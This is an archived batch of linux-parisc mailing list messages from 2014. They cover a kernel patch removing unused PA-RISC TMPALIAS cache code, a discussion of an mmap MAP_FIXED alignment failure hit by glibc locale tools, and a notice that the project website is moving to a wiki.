>> which are most likely related:
>>
>> lsXX:~# dpkg-reconfigure locales
>> Generating locales (this might take a while)...
>>    de_DE.ISO-8859-1...cannot map archive header: Invalid argument
>>   done
> That isn't the same problem with the random segmentation faults that
> this thread documents.
Well the matter is confusing.  I may be wrong but Eike seems to be 
complaining that
0576da2c08e3d332f1b0653030d28ab804585ab6 is related to the random 
segmentation
fault.   This is the change to the mmap handling that causes the invalid 
argument error above.

Can this be clarified?

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Remove unused CONFIG_PARISC_TMPALIAS code
Date: Sat, 1 Mar 2014 17:41:22 -0500
Lines: 110
Approved: news@gmane.org
Message-ID: <BLU0-SMTP920C45728FF02332B65D73978D0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-7-942139000"
X-Trace: ger.gmane.org 1393713700 4275 80.91.229.3 (1 Mar 2014 22:41:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Mar 2014 22:41:40 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 01 23:41:47 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WJsbJ-0007Dh-Vw
	for glpp-linux-parisc@plane.gmane.org; Sat, 01 Mar 2014 23:41:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753291AbaCAWll (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 Mar 2014 17:41:41 -0500
Original-Received: from blu0-omc4-s21.blu0.hotmail.com ([65.55.111.160]:31026 "EHLO
	blu0-omc4-s21.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753285AbaCAWll (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 Mar 2014 17:41:41 -0500
Original-Received: from BLU0-SMTP92 ([65.55.111.135]) by blu0-omc4-s21.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 1 Mar 2014 14:41:40 -0800
X-TMN: [5aBVAvq/sFJ4RWjIY706pCzwnSbEz1lh]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([70.26.34.41]) by BLU0-SMTP92.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 1 Mar 2014 14:41:39 -0800
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 01 Mar 2014 22:41:39.0305 (UTC) FILETIME=[68E69D90:01CF359F]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5715
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5715>

--Apple-Mail-7-942139000
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

The attached change removes the unused and experimental  
CONFIG_PARISC_TMPALIAS code.
It doesn't work and I don't believe it will ever be used.

Signed-off-by: John David Anglin <dave.anglin@bell.net>

---


--Apple-Mail-7-942139000
Content-Disposition: attachment; filename="cache-cleanup.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="cache-cleanup.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index 637fe03..60d5d17 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -32,17 +32,6 @@ void copy_page_asm(void *to, void *from);
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 			struct page *pg);
 
-/* #define CONFIG_PARISC_TMPALIAS */
-
-#ifdef CONFIG_PARISC_TMPALIAS
-void clear_user_highpage(struct page *page, unsigned long vaddr);
-#define clear_user_highpage clear_user_highpage
-struct vm_area_struct;
-void copy_user_highpage(struct page *to, struct page *from,
-	unsigned long vaddr, struct vm_area_struct *vma);
-#define __HAVE_ARCH_COPY_USER_HIGHPAGE
-#endif
-
 /*
  * These are used to make use of C type-checking..
  */
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index ac87a40..a6ffc77 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -581,67 +581,3 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 		__flush_cache_page(vma, vmaddr, PFN_PHYS(pfn));
 	}
 }
-
-#ifdef CONFIG_PARISC_TMPALIAS
-
-void clear_user_highpage(struct page *page, unsigned long vaddr)
-{
-	void *vto;
-	unsigned long flags;
-
-	/* Clear using TMPALIAS region.  The page doesn't need to
-	   be flushed but the kernel mapping needs to be purged.  */
-
-	vto = kmap_atomic(page);
-
-	/* The PA-RISC 2.0 Architecture book states on page F-6:
-	   "Before a write-capable translation is enabled, *all*
-	   non-equivalently-aliased translations must be removed
-	   from the page table and purged from the TLB.  (Note
-	   that the caches are not required to be flushed at this
-	   time.)  Before any non-equivalent aliased translation
-	   is re-enabled, the virtual address range for the writeable
-	   page (the entire page) must be flushed from the cache,
-	   and the write-capable translation removed from the page
-	   table and purged from the TLB."  */
-
-	purge_kernel_dcache_page_asm((unsigned long)vto);
-	purge_tlb_start(flags);
-	pdtlb_kernel(vto);
-	purge_tlb_end(flags);
-	preempt_disable();
-	clear_user_page_asm(vto, vaddr);
-	preempt_enable();
-
-	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
-}
-
-void copy_user_highpage(struct page *to, struct page *from,
-	unsigned long vaddr, struct vm_area_struct *vma)
-{
-	void *vfrom, *vto;
-	unsigned long flags;
-
-	/* Copy using TMPALIAS region.  This has the advantage
-	   that the `from' page doesn't need to be flushed.  However,
-	   the `to' page must be flushed in copy_user_page_asm since
-	   it can be used to bring in executable code.  */
-
-	vfrom = kmap_atomic(from);
-	vto = kmap_atomic(to);
-
-	purge_kernel_dcache_page_asm((unsigned long)vto);
-	purge_tlb_start(flags);
-	pdtlb_kernel(vto);
-	pdtlb_kernel(vfrom);
-	purge_tlb_end(flags);
-	preempt_disable();
-	copy_user_page_asm(vto, vfrom, vaddr);
-	flush_dcache_page_asm(__pa(vto), vaddr);
-	preempt_enable();
-
-	pagefault_enable();		/* kunmap_atomic(addr, KM_USER1); */
-	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
-}

From - Thu Nov 08 21:10:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Sun, 02 Mar 2014 22:22:54 +0100
Lines: 84
Approved: news@gmane.org
Message-ID: <5313A12E.7010307@gmx.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi> <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl> <201312191619.05005.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1393795372 21662 80.91.229.3 (2 Mar 2014 21:22:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Mar 2014 21:22:52 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>, linux-parisc@vger.kernel.org
To: Mike Frysinger <vapier@gentoo.org>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 02 22:22:59 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WKDqc-0003EI-St
	for glpp-linux-parisc@plane.gmane.org; Sun, 02 Mar 2014 22:22:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753019AbaCBVW5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Mar 2014 16:22:57 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:63143 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752027AbaCBVW4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Mar 2014 16:22:56 -0500
Original-Received: from [192.168.178.60] ([84.173.0.238]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0LzbXq-1XEmlx12KQ-014og4 for
 <linux-parisc@vger.kernel.org>; Sun, 02 Mar 2014 22:22:55 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <201312191619.05005.vapier@gentoo.org>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:b+Q1w5jtIUgvs8t4do9BDH3vAB7R1oVeurcVCUGkJrDs++wNmvr
 peEPidZzMAdMwEQGYfNDZAR7Ff6vtFjsU4jR/Xa+Hb6uct0QtLbySgMZVp+YuKNPlso7A5u
 DpVkRYm8MOn3jfcyX65oIezocGwvgTXXUtfIOncwrBt8CO1dTyv4UwkOd3/3Uxp3f6N3ole
 4/vTSu6q/i0+8LLvOxeFQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5716
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5716>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi Mike,

On 12/19/2013 10:19 PM, Mike Frysinger wrote:
> On Thursday 19 December 2013 14:44:40 John David Anglin wrote:
>> On 12/19/2013 2:17 PM, Aaro Koskinen wrote:
>>> This commit (0576da2c08e3d332f1b0653030d28ab804585ab6) and the current
>>> mainline kernel (3.13-rc4) gives me the following with GLIBC 2.18:
>>>
>>> $ localedef -c -i en_US -f UTF-8 en_US.UTF-8
>>> cannot map archive header: Invalid argument
>>>
>>> strace looks like this:
>>>
>>> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42f34000
>>> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3,
>>> 0) = -1 EINVAL (Invalid argument)
>>>
>>> With the patch reverted, it works:
>>>
>>> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42d74000
>>> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3,
>>> 0) = 0x43000000
>>>
>>> BTW, note that for GLIBC 2.18 some changes were done regarding this:
>>> https://sourceware.org/bugzilla/show_bug.cgi?id=10283
>>
>> Are you sure the glibc changes are correct?  PARISC addresses are not
>> strictly aligned to SHMLBA.
>> There's also a page offset and "random" offset derived from the kernel
>> address of the mapping struct.
> 
> the glibc changes were to use SHMLBA as the min alignment where as before it 
> was using PAGE_SIZE.  the kernel shouldn't reject us because we manually 
> increased our alignment ... the mappings should still be overlapping, so it 
> shouldn't be an "out of mapping space" issue.
> 
> the first one gets a really large map (not fixed), and then the second does a 
> small mapping inside of that first one.

This doesn't work for parisc.
We currently face this issue again now with eglibc on debian since we updated it.

Regarding this commit:
https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/generic/libc-mmap.h;h=0ddd20d42ab44282180c6d6f7c13f2875b25a614;hb=17db6e8d6b12f55e312fcab46faf5d332c806fb6

a trivial workaround would be to change libc-mmap.h like this:
#ifdef __hppa__
#define MAP_FIXED_ALIGNMENT 4096
#else
#define MAP_FIXED_ALIGNMENT SHMLBA
#endif

That works because then the new aligned address is then the same as the original
(the mmap call returns 4k aligned addresses, so it stays unchanged), but I'm not sure
if such a patch would be acceptable.
Do you have another idea/proposal?

Helge
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/

iQIcBAEBAgAGBQJTE6EuAAoJEKGDlV8wpRJBn1sP/2rgG74cYxazzfljoAR6Ymdc
lwgbJqKthEMpNyaFKqxEJrcgwdhBLabVPOe9NDXyS7GpFp+0NPi+EbFCdVRNEO6c
3oWV4XkiZBm2ebOI90J5YiKZN0GwrsLE9lEJD/db7JYSFdV34SbAsKOMth8vgL9K
unVtsU1fGNFOrPuND7+tclxuClsD/0zZqYpW5V6l3/Iox3rrjceSemxw5ZnlN7Eq
CnLBAw0UBbZYVYPiy1hYzFndrAdOGt5SDatM7WTHZ0AiaqZfyKpGE7/qwImjCJt0
KL9BXYcEoT+neAAdxR0hlHaSokdinh3TdutfTnDFpvM2Qpxjdwbw0YnHVj7XtIfe
EjxnFchNFW/alpzNvCMyRF/ThTcSkZ41fysOkkAPCbYameyoVhTHJEnfKIUEXrQH
/WwrcZ7THas5eauJKhN+mqNpDjoTDbFUWhAGC/Y1TMtXxj3VjGg2NP/YMNJ6KLjc
OPoF6hbm+YmJt2TbtFsZEWs0cnKse0QHCwQYrtm9289jvhTLhcTI7PdTGeavR8Lu
dj4L3ne48zXlUPjMuuOzaZC/40ePNDUhXaN+K6bgk3cbcJZlvP/b/HuNFYBC5T3k
xOgpgyoB19RksHqhliXpGhW5Xc/zuDWHtkxBkGgKKKZZ7VKpOoCrp5mMg3d8JQKG
+PzVCBVCGlF/gUT1Tsvv
=9r8c
-----END PGP SIGNATURE-----
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc-linux.org website migrated to http://wiki.parisc-linux.org/
Date: Tue, 04 Mar 2014 21:03:32 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <53163194.2040305@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1393967857 13253 80.91.229.3 (4 Mar 2014 21:17:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 4 Mar 2014 21:17:37 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 04 22:17:46 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WKwie-0003dd-Sg
	for glpp-linux-parisc@plane.gmane.org; Tue, 04 Mar 2014 22:17:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756890AbaCDVR3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 4 Mar 2014 16:17:29 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:60985 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756272AbaCDUDf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 4 Mar 2014 15:03:35 -0500
Original-Received: from [192.168.178.60] ([84.173.78.61]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0MD9NE-1WQO9B0iAW-00GVXs; Tue, 04 Mar 2014 21:03:33
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:YijRFtumBc/RETSRuH8TK93By907GtHvjcy+aWqpIzIQ41FnGsW
 AdqihqgRoontrpXpIoehTL20jsY+6Qc0ML+WX8WT/Ake6NAYEP+mH9G4VpTwWP+u19E99KZ
 RsnaqNIGq/jK/deFtgRUklXnAMWP+i7LqYLEfszfkELWD1e7OPU8yYaW3eT8P6ArAknVoNa
 GN7eSMMMfawUMMJAuoZEw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5717
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5717>

Hello,

just to let everyone know...

Our original website at http://www.parisc-linux.org was hosted on a A500 machine at HP in Colorado.
If you are interested, you can see original pictures of this machine here: https://parisc.wiki.kernel.org/index.php/PA-RISC_Linux_Project_History
But due to network problems it has been down now for 3 weeks and we are in progress to move the server physically over to OSUOSL.org and use it there as buildd server. 

That said, the original website at www.parisc-linux.org will most likely now show up again.
Instead our new web presence is now our wiki at http://wiki.parisc-linux.org/ which is much easier to maintain.

As I'm writing this mail, parisc-linux.org shows the contents of our french mirror, but it will redirect to the wiki page soon.
If you had a @parisc-linux.org email address in the past, Thibaut will try to get the forwarding working again.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Land <xmechanic@landcomp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org website migrated to http://wiki.parisc-linux.org/
Date: Tue, 04 Mar 2014 15:31:23 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <5316543B.3070001@landcomp.net>
References: <53163194.2040305@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1393972279 377 80.91.229.3 (4 Mar 2014 22:31:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 4 Mar 2014 22:31:19 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 04 23:31:28 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WKxry-0001bZ-NE
	for glpp-linux-parisc@plane.gmane.org; Tue, 04 Mar 2014 23:31:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755305AbaCDWbZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 4 Mar 2014 17:31:25 -0500
Original-Received: from landcomp.net ([192.119.43.5]:27229 "HELO landcomp.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751908AbaCDWbY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 4 Mar 2014 17:31:24 -0500
Original-Received: (qmail 7470 invoked by uid 453); 4 Mar 2014 22:31:23 -0000
Original-Received: from mac-pro.landcomp.net (HELO mac-pro.landcomp.net) (192.168.0.7)
  (smtp-auth username xmechanic@landcomp.net, mechanism plain)
  by landcomp.net (qpsmtpd/0.84) with (AES128-SHA encrypted) ESMTPSA; Tue, 04 Mar 2014 15:31:23 -0700
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:24.0) Gecko/20100101 Thunderbird/24.3.0
In-Reply-To: <53163194.2040305@gmx.de>
X-Virus-Checked: Checked by ClamAV on landcomp.net
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5718
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5718>

On 3/4/14 1:03 PM, Helge Deller wrote:
> Hello,
>
> just to let everyone know...
>
> Our original website at http://www.parisc-linux.org was hosted on a A500 machine at HP in Colorado.
> If you are interested, you can see original pictures of this machine here: https://parisc.wiki.kernel.org/index.php/PA-RISC_Linux_Project_History
> But due to network problems it has been down now for 3 weeks and we are in progress to move the server physically over to OSUOSL.org and use it there as buildd server.
>
> That said, the original website at www.parisc-linux.org will most likely now show up again.
> Instead our new web presence is now our wiki at http://wiki.parisc-linux.org/ which is much easier to maintain.
>
> As I'm writing this mail, parisc-linux.org shows the contents of our french mirror, but it will redirect to the wiki page soon.
> If you had a @parisc-linux.org email address in the past, Thibaut will try to get the forwarding working again.
>
> Helge
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>
>

Heh heh, pretty cool. Theirs even still has the faceplate on it. :-)

Dave L.

-- 
Dave Land
Land Computer Service  xmechanic@landcomp.net
ICQ: 676030523


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org website migrated to http://wiki.parisc-linux.org/
Date: Tue, 4 Mar 2014 19:05:21 -0500
Lines: 60
Approved: news@gmane.org
Message-ID: <BLU0-SMTP84FD1A52AF500D24A05E0A97890@phx.gbl>
References: <53163194.2040305@gmx.de> <5316543B.3070001@landcomp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1393977932 31526 80.91.229.3 (5 Mar 2014 00:05:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2014 00:05:32 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Dave Land <xmechanic@landcomp.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 05 01:05:41 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WKzLB-00067I-4B
	for glpp-linux-parisc@plane.gmane.org; Wed, 05 Mar 2014 01:05:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755506AbaCEAFk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 4 Mar 2014 19:05:40 -0500
Original-Received: from blu0-omc4-s12.blu0.hotmail.com ([65.55.111.151]:17302 "EHLO
	blu0-omc4-s12.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755400AbaCEAFk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 4 Mar 2014 19:05:40 -0500
Original-Received: from BLU0-SMTP84 ([65.55.111.136]) by blu0-omc4-s12.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 4 Mar 2014 16:05:39 -0800
X-TMN: [leqpZpP6CWbJMIwhnqgPkMP+RzOO8rek]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([70.26.34.41]) by BLU0-SMTP84.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 4 Mar 2014 16:05:38 -0800
In-Reply-To: <5316543B.3070001@landcomp.net>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 05 Mar 2014 00:05:38.0345 (UTC) FILETIME=[A3A45990:01CF3806]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5719
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5719>

On 4-Mar-14, at 5:31 PM, Dave Land wrote:

> On 3/4/14 1:03 PM, Helge Deller wrote:
>> Hello,
>>
>> just to let everyone know...
>>
>> Our original website at http://www.parisc-linux.org was hosted on a  
>> A500 machine at HP in Colorado.
>> If you are interested, you can see original pictures of this  
>> machine here: https://parisc.wiki.kernel.org/index.php/PA-RISC_Linux_Project_History
>> But due to network problems it has been down now for 3 weeks and we  
>> are in progress to move the server physically over to OSUOSL.org  
>> and use it there as buildd server.
>>
>> That said, the original website at www.parisc-linux.org will most  
>> likely now show up again.
>> Instead our new web presence is now our wiki at http://wiki.parisc-linux.org/ 
>>  which is much easier to maintain.
>>
>> As I'm writing this mail, parisc-linux.org shows the contents of  
>> our french mirror, but it will redirect to the wiki page soon.
>> If you had a @parisc-linux.org email address in the past, Thibaut  
>> will try to get the forwarding working again.
>>
>> Helge
>> --
>> To unsubscribe from this list: send the line "unsubscribe linux- 
>> parisc" in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>>
>>
>
> Heh heh, pretty cool. Theirs even still has the faceplate on it. :-)


I believe that I also have one of those faceplates but never installed  
it...

I don't know a lot about the early Puffin history (I was holed up in  
my office at NRC about a
mile from the Puffins).  I found this article which some might find  
interesting:
http://online.wsj.com/news/articles/SB921650089712293845

I also note that the history indicates that Helge died on June 25,  
1999 ;-)

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: [PATCH RESEND 10/14] hppa: locks: remove redundant arch_*_relax
 operations
Date: Wed, 05 Mar 2014 21:38:14 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <53178B36.2070307@gmx.de>
References: <1393004101-25382-11-git-send-email-will.deacon@arm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1394051890 2990 80.91.229.3 (5 Mar 2014 20:38:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2014 20:38:10 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 05 21:38:19 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WLIa2-00060p-0i
	for glpp-linux-parisc@plane.gmane.org; Wed, 05 Mar 2014 21:38:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755227AbaCEUiR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Mar 2014 15:38:17 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:58422 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753448AbaCEUiR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Mar 2014 15:38:17 -0500
Original-Received: from server.box ([84.173.79.219]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0M3RZI-1XC1l03qKm-00r3vB for
 <linux-parisc@vger.kernel.org>; Wed, 05 Mar 2014 21:38:14 +0100
